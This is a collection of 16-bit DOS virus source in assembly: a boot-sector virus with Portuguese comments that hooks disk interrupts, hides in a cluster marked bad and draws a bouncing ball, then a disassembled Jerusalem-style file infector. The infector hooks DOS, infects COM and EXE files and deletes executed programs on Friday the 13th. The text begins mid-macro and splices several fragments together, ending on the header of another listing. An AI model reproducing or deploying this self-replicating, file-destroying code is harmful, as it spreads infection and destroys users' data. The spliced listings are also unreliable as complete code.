dd x
endm
Virus SEGMENT
assume cs:virus;ds:virus
jmpf MACRO x
db 0eah
dd x
ENDM
org 0100h
begin: jmp short entry
db 1eh-2 dup (?) ; Informacao relativa a' disquete
entry: xor ax,ax
mov ss,ax
mov sp,7c00 ; Colocar o Stack antes do inicio do
mov ds,ax ; virus
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
sub ax,2 ; para que o DOS nao la' chegue !
mov ds:[0413],ax
mov cl,06 ; Converter o tamanho da RAM num
shl ax,cl ; numero de segmento que se situa nos
sub ax,07c0 ; 2 ultimos K
mov es,ax ; De seguida passar este programa
mov si,7c00 ; para esse sitio de memoria
mov di,si ; ( i.e. o programa transfere-se a si
mov cx,0100 ; proprio )
repz movsw
mov cs,ax ; Transferencia de controlo para ai!
push cs ; Agora sim , ja' estamos nos tais 2K
pop ds
call reset ; fazer duas vezes um "reset" ao
reset: xor ah,ah ; controlador de disco
int 13
and byte ptr ds:drive,80
mov bx,ds:sector ; Sector onde esta' o resto do virus
push cs
pop ax
sub ax,0020
mov es,ax
call ler_sector ; Ler o resto do virus da drive
mov bx,ds:sector
inc bx
mov ax,0ffc0 ; Carregar o sector de boot original
mov es,ax
call ler_sector
xor ax,ax
mov ds:estado,al
mov ds,ax
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
mov word ptr ds:[004c],offset int_13
mov ds:[004e],cs
push cs
pop ds
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
mov word ptr ds:velho_13+2,bx
mov dl,ds:drive
jmpf 0:7c00 ; Efectuar o arranque do sistema
Esc_Sector proc near
mov ax,0301 ; Escrever um sector da drive
jmp short cs:transferir
Esc_Sector endp
Ler_Sector proc near
mov ax,0201 ; Ler um sector da drive
Ler_Sector endp
Transferir proc near ; Efectuar uma transferencia de dados
xchg ax,bx ; de ou para a drive
add ax,ds:[7c1c] ; Este procedimento tem como entrada
xor dx,dx ; o numero do sector pretendido ( BX )
div ds:[7c18] ; e de seguida sao feitas as contas
inc dl ; para saber qual a pista e o lado
mov ch,dl ; onde esse sector fica
xor dx,dx
div ds:[7c1a]
mov cl,06
shl ah,cl
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx ; Depois de todas as contas feitas
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
mov bx,8000 ; es:bx = end. de transferencia
int 13
jnb trans_exit
pop ax
trans_exit: ret
Transferir endp
Int_13 proc near ; Rotina de atendimento ao int. 13H
push ds ; (operacoes sobre discos e disquetes)
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
jnz call_BIOS ; esta' no disco
cmp ah,2
jnz call_BIOS
cmp ds:drive,dl ; Ver se a ultima drive que foi
mov ds:drive,dl ; mexida e' igual a' drive onde
jnz outra_drv ; se vai mexer
xor ah,ah ; Neste momento vai-se tirar a' sorte
int 1a ; para ver se o virus fica activo
test dh,7f ; Isto e' feito a partir da leitura
jnz nao_desp ; da hora e se for igual a um dado
test dl,0f0 ; numero , o virus e' despoletado
jnz nao_desp
push dx ; Instalar o movimento da bola
call despoletar
pop dx
nao_desp: mov cx,dx
sub dx,ds:semente
mov ds:semente,cx
sub dx,24
jb call_BIOS
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
push si ; presenca ou nao do virus na drive
push di
call contaminar
pop di
pop si
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
call_BIOS: pop dx
pop cx
pop bx
pop ax
pop es
pop ds
Velho_13 equ $+1
jmpf 0:0
Int_13 endp
Contaminar proc near
mov ax,0201
mov dh,0
mov cx,1
call transf
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
jz testar_drv ; Sim , passar a' contaminacao directa
mov si,81be
mov cx,4
proximo: cmp byte ptr [si+4],1
jz ler_sect
cmp byte ptr [si+4],4
jz ler_sect
add si,10
loop proximo
ret
ler_sect: mov dx,[si] ; Cabeca+drive
mov cx,[si+2] ; Pista+sector inicial
mov ax,0201 ; Ler esse sector
call transf
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
mov di,7c02 ; ver se o sector de boot e' o mesmo
mov cx,1c ; i.e. ver se a drive ja' foi virada !
repz movsb
cmp word ptr ds:[offset flag+0400],1357
jnz esta_limpa
cmp byte ptr ds:flag_2,0
jnb tudo_bom
mov ax,word ptr ds:[offset prim_dados+0400]
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
mov si,ds:[offset sector+0400] ; esta' contaminada !
jmp infectar
tudo_bom: ret
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
jnz tudo_bom
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
jb tudo_bom
mov cx,ds:[800e] ; Sectores reservados
mov al,byte ptr ds:[8010] ; Numero de FAT's
cbw
mul word ptr ds:[8016] ; Numero de sectores de FAT
add cx,ax
mov ax,' '
mul word ptr ds:[8011] ; Numero de entradas na root
add ax,01ff
mov bx,0200
div bx
add cx,ax
mov ds:prim_dados,cx
mov ax,ds:[7c13] ; Numero de sectores da drive
sub ax,ds:prim_dados
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
xor dx,dx
xor bh,bh
div bx
inc ax
mov di,ax
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
jbe sao_3 ; 4 nibbles senao sao 3
or byte ptr ds:estado,4 ; 4 = disco duro ?
sao_3: mov si,1 ; Escolher sector a infectar
mov bx,ds:[7c0e] ; Numero de sectores reservados
dec bx
mov ds:inf_sector,bx ; Sector a infectar
mov byte ptr ds:FAT_sector,0fe
jmp short continua
Inf_Sector dw 1 ; Sector a infectar
Prim_Dados dw 0c ; Numero do primeiro sector de dados
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
Drive db 1 ; Drive onde se pediu uma accao
Sector dw 0ec ; Sector auxiliar para procura do virus
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
dw 0aa55 ; comparar se estes valores batem certos para o saber
continua: inc word ptr ds:inf_sector
mov bx,ds:inf_sector
add byte ptr ds:[FAT_sector],2
call ler_sector
jmp short l7e4b
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus
verificar: mov ax,3 ; Media descriptor + ff,ff
test byte ptr ds:estado,4 ; disco duro ?
jz l7e1d
inc ax ; Sim , FAT comeca 1 byte mais adiante
l7e1d: mul si ; Multiplicar pelo numero do cluster
shr ax,1
sub ah,ds:FAT_sector
mov bx,ax
cmp bx,01ff
jnb continua
mov dx,[bx+8000] ; Ler a entrada na FAT
test byte ptr ds:estado,4
jnz l7e45
mov cl,4
test si,1
jz l7e42
shr dx,cl
l7e42: and dh,0f
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
jz l7e51 ; descobriu-se um cluster para por o
l7e4b: inc si ; virus , senao passa-se ao proximo
cmp si,di ; cluster ate' achar um bom
jbe verificar
ret
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
jnz l7e68 ; ( 3 ou 4 nibbles )
and dh,0f
mov cl,4
test si,1
jz l7e68
shl dx,cl
l7e68: or [bx+8000],dx
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
call esc_sector
mov ax,si
sub ax,2
mov bl,ds:7c0dh ; Numero de sectores por cluster
xor bh,bh
mul bx
add ax,ds:prim_dados
mov si,ax ; SI = sector a infectar
mov bx,0 ; Ler o sector de boot original
call ler_sector
mov bx,si
inc bx
call esc_sector ; ... e guarda'-lo depois do virus
infectar: mov bx,si
mov word ptr ds:sector,si
push cs
pop ax
sub ax,20 ; Escrever o resto do virus
mov es,ax
call esc_sector
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0 ; Escrever no sector de boot o virus
call esc_sector
ret
Contaminar endp
Semente dw ? ; Esta word serve para fins de
; temporizacao da bola a saltar
FAT_sector db 0 ; Diz qual e' o numero do sector que
; se esta' a percorrer quando se
; vasculha a FAT
Despoletar proc near ; Comecar a mostrar a bola no ecran
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
jnz desp_exit ; Sim ,sair
or byte ptr ds:estado,2 ; Nao , marcar activacao
mov ax,0
mov ds,ax
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
mov bx,ds:22
mov word ptr ds:20,offset int_8
mov ds:22,cs
push cs
pop ds ; E guardar a rotina anterior
mov word ptr ds:velho_8+8,ax
mov word ptr ds:velho_8+2,bx
desp_exit: ret
Despoletar endp
Int_8 proc near ; Rotina de atendimento ao interrupt
push ds ; provocado pelo relogio 18.2 vezes
push ax ; por segundo . Neste procedimento
push bx ; e' que se faz o movimento da bola
push cx ; pelo ecran
push dx
push cs
pop ds
mov ah,0f ; Ver qual o tipo de modo de video
int 10
mov bl,al
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
jz ler_cur ; os anteriores
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
dec ah ; de video
mov ds:colunas,ah ; Guardar o numero de colunas
mov ah,1
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
jnz e_CGA
dec ah
e_CGA: cmp bl,4 ; Ve se e' modo grafico
jnb e_grafico
dec ah
e_grafico: mov ds:muda_attr,ah
mov word ptr ds:coordenadas,0101
mov word ptr ds:direccao,0101
mov ah,3 ; Ler a posicao do cursor
int 10
push dx ; ... e guarda-la
mov dx,ds:coordenadas
jmp short limites
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
int 10
push dx ; ... e guarda-la
mov ah,2 ; Posicionar o cursor no sitio da bola
mov dx,ds:coordenadas
int 10
mov ax,ds:carat_attr
cmp byte ptr ds:muda_attr,1
jnz mudar_atr
mov ax,8307 ; Atributos e carater 7
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
mov cx,1
mov ah,9 ; Escrever a bola no ecran
int 10
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
cmp dh,0 ; ecran . Linha = 0 ?
jnz linha_1
xor ch,0ff ; Mudar direccao
inc ch
linha_1: cmp dh,18 ; Linha = 24 ?
jnz coluna_1
xor ch,0ff ; Mudar direccao
inc ch
coluna_1: cmp dl,0 ; Coluna = 0 ?
jnz coluna_2
xor cl,0ff ; Mudar direccao
inc cl
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
jnz esta_fixe
xor cl,0ff ; Mudar direccao
inc cl
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
jnz act_bola
mov ax,ds:carat_attr
and al,7
cmp al,3
jnz nao_e
xor ch,0ff
inc ch
nao_e: cmp al,5
jnz act_bola
xor cl,0ff
inc cl
act_bola: add dl,cl ; Actualizar as coordenadas da bola
add dh,ch
mov ds:direccao,cx
mov ds:coordenadas,dx
mov ah,2
int 10
mov ah,8 ; Ler carater para onde vai a bola
int 10
mov ds:carat_attr,ax
mov bl,ah
cmp byte ptr ds:muda_attr,1
jnz nao_muda
mov bl,83 ; Novo atributo
nao_muda: mov cx,1
mov ax,0907 ; Escrever a bola no ecran
int 10
pop dx
mov ah,2 ; Recolocar o cursor no posicao onde
int 10 ; estava antes de escrever a bola
pop dx
pop cx
pop bx
pop ax
pop ds
velho_8 equ $+1
jmpf 0:0
Int_8 endp
start:
jmp loc_2 ; (0195)
db 73h, 55h, 4Dh, 73h, 44h, 6Fh
db 73h, 0, 1, 0EBh, 21h, 0
db 0, 0, 0ABh, 0Bh, 2Ch, 2
db 70h, 0, 92h, 0Eh, 29h, 1Ah
db 0EBh, 4, 59h, 6Fh, 0A8h
db 7Bh
db 13 dup (0)
db 0E8h, 6, 0D7h, 62h, 21h, 80h
db 0, 0, 0, 80h, 0, 62h
db 21h, 5Ch, 0, 62h, 21h, 6Ch
db 0, 62h, 21h, 10h, 7, 60h
db 5Bh, 0C5h, 0, 60h, 5Bh, 0
db 0F0h, 6, 0, 4Dh, 5Ah, 30h
db 0, 53h, 0, 1Fh, 0, 20h
db 0, 0, 0, 0FFh, 0FFh, 0B2h
db 9, 10h, 7, 84h, 19h, 0C5h
db 0, 0B2h, 9, 20h, 0, 0
db 0, 2Eh, 0Dh, 0Ah, 0, 0
db 5, 0, 20h, 0, 26h, 12h
db 46h, 0A3h, 0, 2, 10h, 0
db 20h, 9Dh, 0, 0, 7Bh, 3Dh
db 2Eh, 9Bh
db 'COMMAND.COM'
db 1, 0, 0, 0, 0, 0
loc_2:
cld ; Clear direction
mov ah,0E0h
int 21h ; DOS Services ah=function E0h
cmp ah,0E0h
jae loc_3 ; Jump if above or =
cmp ah,3
jb loc_3 ; Jump if below
mov ah,0DDh
mov di,100h
mov si,710h
add si,di
mov cx,cs:[di+11h]
nop ;*Fixup for MASM (M)
int 21h ; DOS Services ah=function DDh
loc_3:
mov ax,cs
add ax,10h
mov ss,ax
mov sp,700h
loc_4:
push ax
mov ax,0C5h
push ax
retf ; Return far
db 0FCh, 6, 2Eh, 8Ch, 6, 31h
db 0, 2Eh, 8Ch, 6, 39h, 0
db 2Eh, 8Ch, 6, 3Dh, 0, 2Eh
db 8Ch, 6, 41h, 0, 8Ch, 0C0h
db 5, 10h, 0, 2Eh, 1, 6
db 49h, 0, 2Eh, 1, 6, 45h
db 0, 0B4h, 0E0h, 0CDh, 21h, 80h
db 0FCh, 0E0h, 73h, 13h, 80h, 0FCh
db 3, 7, 2Eh, 8Eh, 16h, 45h
db 0, 2Eh, 8Bh, 26h, 43h, 0
db 2Eh, 0FFh, 2Eh, 47h, 0, 33h
db 0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh
db 3, 2Eh, 0A3h, 4Bh, 0, 26h
db 0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh
db 0
db 26h
je endp
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
; External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
int_24h_entry proc far
mov word ptr ds:[3FCh],0A5F3h
mov byte ptr es:data_47,0CBh
pop ax
add ax,10h
mov es,ax
push cs
pop ds
mov cx,710h
shr cx,1 ; Shift w/zeros fill
xor si,si ; Zero register
mov di,si
push es
mov ax,142h
push ax
;* jmp far ptr loc_1 ;*(0000:03FC)
db 0EAh, 0FCh, 3, 0, 0
db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0
db 7, 33h, 0C0h, 8Eh, 0D8h, 2Eh
db 0A1h, 4Bh, 0, 0A3h, 0FCh, 3
db 2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh
db 3
int_24h_entry endp
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
; External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
int_21h_entry proc far
mov bx,sp
mov cl,4
shr bx,cl ; Shift w/zeros fill
add bx,10h
mov cs:data_35e,bx
mov ah,4Ah ; 'J'
mov es,cs:data_34e
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov cs:data_25e,bx
mov cs:data_26e,es
push cs
pop ds
mov dx,25Bh
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov es,ds:data_34e
mov es,es:data_1e
xor di,di ; Zero register
mov cx,7FFFh
xor al,al ; Zero register
locloop_5:
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
cmp es:[di],al
loopnz locloop_5 ; Loop if zf=0, cx>0
mov dx,di
add dx,3
mov ax,4B00h
push es
pop ds
push cs
pop es
mov bx,35h
push ds
push es
push ax
push bx
push cx
push dx
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
mov byte ptr cs:data_20e,0
cmp cx,7C3h
je loc_7 ; Jump if equal
cmp al,5 ; Check to see if it's Friday
jne loc_6 ; Jump if not equal
cmp dl,0Dh ; Check to see if it's the 13th
jne loc_6 ; Jump if not equal
inc byte ptr cs:data_20e
jmp short loc_7 ; (02F7)
db 90h
loc_6:
mov ax,3508h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov cs:data_23e,bx
mov cs:data_24e,es
push cs
pop ds
mov word ptr ds:data_29e,7E90h
mov ax,2508h
mov dx,21Eh
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_7:
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pushf ; Push flags
call dword ptr cs:data_25e
push ds
pop es
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ah,4Dh ; 'M'
int 21h ; DOS Services ah=function 4Dh
; get return code info in ax
mov ah,31h ; '1'
mov dx,600h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,10h
int 21h ; DOS Services ah=function 31h
; terminate & stay resident
db 32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
db 1Fh, 0, 2, 75h, 17h, 50h
db 53h, 51h, 52h, 55h, 0B8h, 2
db 6, 0B7h, 87h, 0B9h, 5, 5
db 0BAh, 10h, 10h, 0CDh, 10h, 5Dh
db 5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
db 0Eh, 1Fh, 0, 75h, 12h, 2Eh
db 0C7h, 6, 1Fh, 0, 1, 0
db 50h, 51h, 56h, 0B9h, 1, 40h
db 0F3h, 0ACh
db 5Eh, 59h, 58h
loc_8:
jmp dword ptr cs:data_23e
db 9Ch, 80h, 0FCh, 0E0h, 75h, 5
db 0B8h, 0, 3, 9Dh, 0CFh, 80h
db 0FCh, 0DDh, 74h, 13h, 80h, 0FCh
db 0DEh, 74h, 28h, 3Dh, 0, 4Bh
db 75h, 3, 0E9h, 0B4h, 0
loc_9:
popf ; Pop flags
jmp dword ptr cs:data_25e
loc_10:
pop ax
pop ax
mov ax,100h
mov cs:data_18e,ax
pop ax
mov cs:data_19e,ax
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
popf ; Pop flags
mov ax,cs:data_21e
jmp dword ptr cs:data_18e
loc_11:
add sp,6
popf ; Pop flags
mov ax,cs
mov ss,ax
mov sp,710h
push es
push es
xor di,di ; Zero register
push cs
pop es
mov cx,10h
mov si,bx
mov di,21h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ax,ds
mov es,ax
mul word ptr cs:data_41e ; ax = data * ax
add ax,cs:data_31e
adc dx,0
div word ptr cs:data_41e ; ax,dxrem=dx:ax/data
mov ds,ax
mov si,dx
mov di,dx
mov bp,es
mov bx,cs:data_33e
or bx,bx ; Zero ?
jz loc_13 ; Jump if zero
loc_12:
mov cx,8000h
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
add ax,1000h
add bp,1000h
mov ds,ax
mov es,bp
dec bx
jnz loc_12 ; Jump if not zero
loc_13:
mov cx,cs:data_32e
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop ax
push ax
add ax,10h
add cs:data_30e,ax
data_47 db 2Eh
db 1, 6, 25h, 0, 2Eh, 0A1h
db 21h, 0, 1Fh, 7, 2Eh, 8Eh
db 16h, 29h, 0, 2Eh, 8Bh, 26h
db 27h, 0, 2Eh, 0FFh, 2Eh, 23h
db 0
loc_14:
xor cx,cx ; Zero register
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
mov ax,4B00h
popf ; Pop flags
jmp dword ptr cs:data_25e
loc_15:
cmp byte ptr cs:data_20e,1
je loc_14 ; Jump if equal
mov word ptr cs:data_37e,0FFFFh
mov word ptr cs:data_44e,0
mov cs:data_42e,dx
mov cs:data_43e,ds
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld ; Clear direction
mov di,dx
xor dl,dl ; Zero register
cmp byte ptr [di+1],3Ah ; ':'
jne loc_16 ; Jump if not equal
mov dl,[di]
and dl,1Fh
loc_16:
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
cmp ax,0FFFFh
jne loc_18 ; Jump if not equal
loc_17:
jmp loc_44 ; (06E7)
loc_18:
mul bx ; dx:ax = reg * ax
mul cx ; dx:ax = reg * ax
or dx,dx ; Zero ?
jnz loc_19 ; Jump if not zero
cmp ax,710h
jb loc_17 ; Jump if below
loc_19:
mov dx,cs:data_42e
push ds
pop es
xor al,al ; Zero register
mov cx,41h
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov si,cs:data_42e
loc_20:
mov al,[si]
or al,al ; Zero ?
jz loc_22 ; Jump if zero
cmp al,61h ; 'a'
jb loc_21 ; Jump if below
cmp al,7Ah ; 'z'
ja loc_21 ; Jump if above
sub byte ptr [si],20h ; ' '
loc_21:
inc si
jmp short loc_20 ; (0490)
loc_22:
mov cx,0Bh
sub si,cx
mov di,84h
push cs
pop es
mov cx,0Bh
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_23 ; Jump if not zero
jmp loc_44 ; (06E7)
loc_23:
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jc loc_24 ; Jump if carry Set
mov cs:data_38e,cx
loc_24:
jc loc_26 ; Jump if carry Set
xor al,al ; Zero register
mov cs:data_36e,al
push ds
pop es
mov di,dx
mov cx,41h
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
cmp byte ptr [di-2],4Dh ; 'M'
je loc_25 ; Jump if equal
cmp byte ptr [di-2],6Dh ; 'm'
je loc_25 ; Jump if equal
inc byte ptr cs:data_36e
loc_25:
mov ax,3D00h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
loc_26:
jc loc_28 ; Jump if carry Set
mov cs:data_37e,ax
mov bx,ax
mov ax,4202h
mov cx,0FFFFh
mov dx,0FFFBh
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_26 ; Jump if carry Set
add ax,5
mov cs:data_22e,ax
mov cx,5
mov dx,6Bh
mov ax,cs
mov ds,ax
mov es,ax
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov di,dx
mov si,5
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_27 ; Jump if not zero
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jmp loc_44 ; (06E7)
loc_27:
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_27e,bx
mov ds:data_28e,es
mov dx,21Bh
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
lds dx,dword ptr ds:data_42e ; Load 32 bit ptr
xor cx,cx ; Zero register
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_28:
jc loc_29 ; Jump if carry Set
mov bx,cs:data_37e
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov word ptr cs:data_37e,0FFFFh
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_29 ; Jump if carry Set
mov cs:data_37e,ax
mov ax,cs
mov ds,ax
mov es,ax
mov bx,ds:data_37e
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ds:data_39e,dx
mov ds:data_40e,cx
mov ax,4200h
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_29:
jc loc_32 ; Jump if carry Set
cmp byte ptr ds:data_36e,0
je loc_30 ; Jump if equal
jmp short loc_34 ; (05E6)
db 90h
loc_30:
mov bx,1000h
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jnc loc_31 ; Jump if carry=0
mov ah,3Eh ; '>'
mov bx,ds:data_37e
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jmp loc_44 ; (06E7)
loc_31:
inc word ptr ds:data_44e
mov es,ax
xor si,si ; Zero register
mov di,si
mov cx,710h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,di
mov cx,ds:data_22e
mov bx,ds:data_37e
push es
pop ds
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
loc_32:
jc loc_33 ; Jump if carry Set
add di,cx
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov si,5
mov cx,5
rep movs byte ptr es:[di],cs:[si] ; Rep when cx >0 Mov [si] to es:[di]
mov cx,di
xor dx,dx ; Zero register
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_33:
jc loc_35 ; Jump if carry Set
jmp loc_42 ; (06A2)
loc_34:
mov cx,1Ch
mov dx,4Fh
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
loc_35:
jc loc_37 ; Jump if carry Set
mov word ptr ds:data_11e,1984h
mov ax,ds:data_9e
mov ds:data_3e,ax
mov ax,ds:data_10e
mov ds:data_2e,ax
mov ax,ds:data_12e
mov ds:data_4e,ax
mov ax,ds:data_13e
mov ds:data_5e,ax
mov ax,ds:data_7e
cmp word ptr ds:data_6e,0
je loc_36 ; Jump if equal
dec ax
loc_36:
mul word ptr ds:data_14e ; ax = data * ax
add ax,ds:data_6e
adc dx,0
add ax,0Fh
adc dx,0
and ax,0FFF0h
mov ds:data_16e,ax
mov ds:data_17e,dx
add ax,710h
adc dx,0
loc_37:
jc loc_39 ; Jump if carry Set
div word ptr ds:data_14e ; ax,dxrem=dx:ax/data
or dx,dx ; Zero ?
jz loc_38 ; Jump if zero
inc ax
loc_38:
mov ds:data_7e,ax
mov ds:data_6e,dx
mov ax,ds:data_16e
mov dx,ds:data_17e
div word ptr ds:data_15e ; ax,dxrem=dx:ax/data
sub ax,ds:data_8e
mov ds:data_13e,ax
mov word ptr ds:data_12e,0C5h
mov ds:data_9e,ax
mov word ptr ds:data_10e,710h
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_39:
jc loc_40 ; Jump if carry Set
mov cx,1Ch
mov dx,4Fh
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_40:
jc loc_41 ; Jump if carry Set
cmp ax,cx
jne loc_42 ; Jump if not equal
mov dx,ds:data_16e
mov cx,ds:data_17e
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_41:
jc loc_42 ; Jump if carry Set
xor dx,dx ; Zero register
mov cx,710h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_42:
cmp word ptr cs:data_44e,0
je loc_43 ; Jump if equal
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
loc_43:
cmp word ptr cs:data_37e,0FFFFh
je loc_44 ; Jump if equal
mov bx,cs:data_37e
mov dx,cs:data_39e
mov cx,cs:data_40e
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
lds dx,dword ptr cs:data_42e ; Load 32 bit ptr
mov cx,cs:data_38e
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
lds dx,dword ptr cs:data_27e ; Load 32 bit ptr
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_44:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
jmp dword ptr cs:data_25e
db 11 dup (0)
db 4Dh, 63h, 21h, 4
db 13 dup (0)
db 5Bh, 0, 0, 0, 2Bh, 0
db 0FFh
db 17 dup (0FFh)
db 'E:\SV\EXECDOS.BAT'
db 0
db 'EXECDOS', 0Dh
db 0, 7Dh, 0, 0, 80h, 0
db 53h, 0Eh, 5Ch, 0, 53h, 0Eh
db 6Ch, 4Dh, 63h, 21h, 0, 10h
db 'EC=F:\DOS\C'
db 0E9h, 92h, 0, 73h, 55h, 4Dh
db 73h, 44h, 6Fh, 73h, 0, 1
db 0B8h, 22h, 0, 0, 0, 1Ah
db 3, 2Ch, 2, 70h, 0
loc_45:
xchg ax,dx
push cs
sub [bp+si],bx
;* jmp short loc_46 ;*(0781)
db 0EBh, 4
db 63h, 21h, 0D0h, 59h
int_21h_entry endp
seg_a ends
end start
CODE SEGMENT
;The following is a disassembled, structured and commented listing of the
;Jerusalem .COM and .EXE infector virus. All comments, structure inclusions
;
; INTERPATH
; 4423 Cheeney Street
; Santa Clara, CA 95054
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS ;
;-----------------------------------------------------------------------;
;
ORG 100H ;
;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS ;
;-----------------------------------------------------------------------;
BEGIN_COM: ; COM FILES START HERE
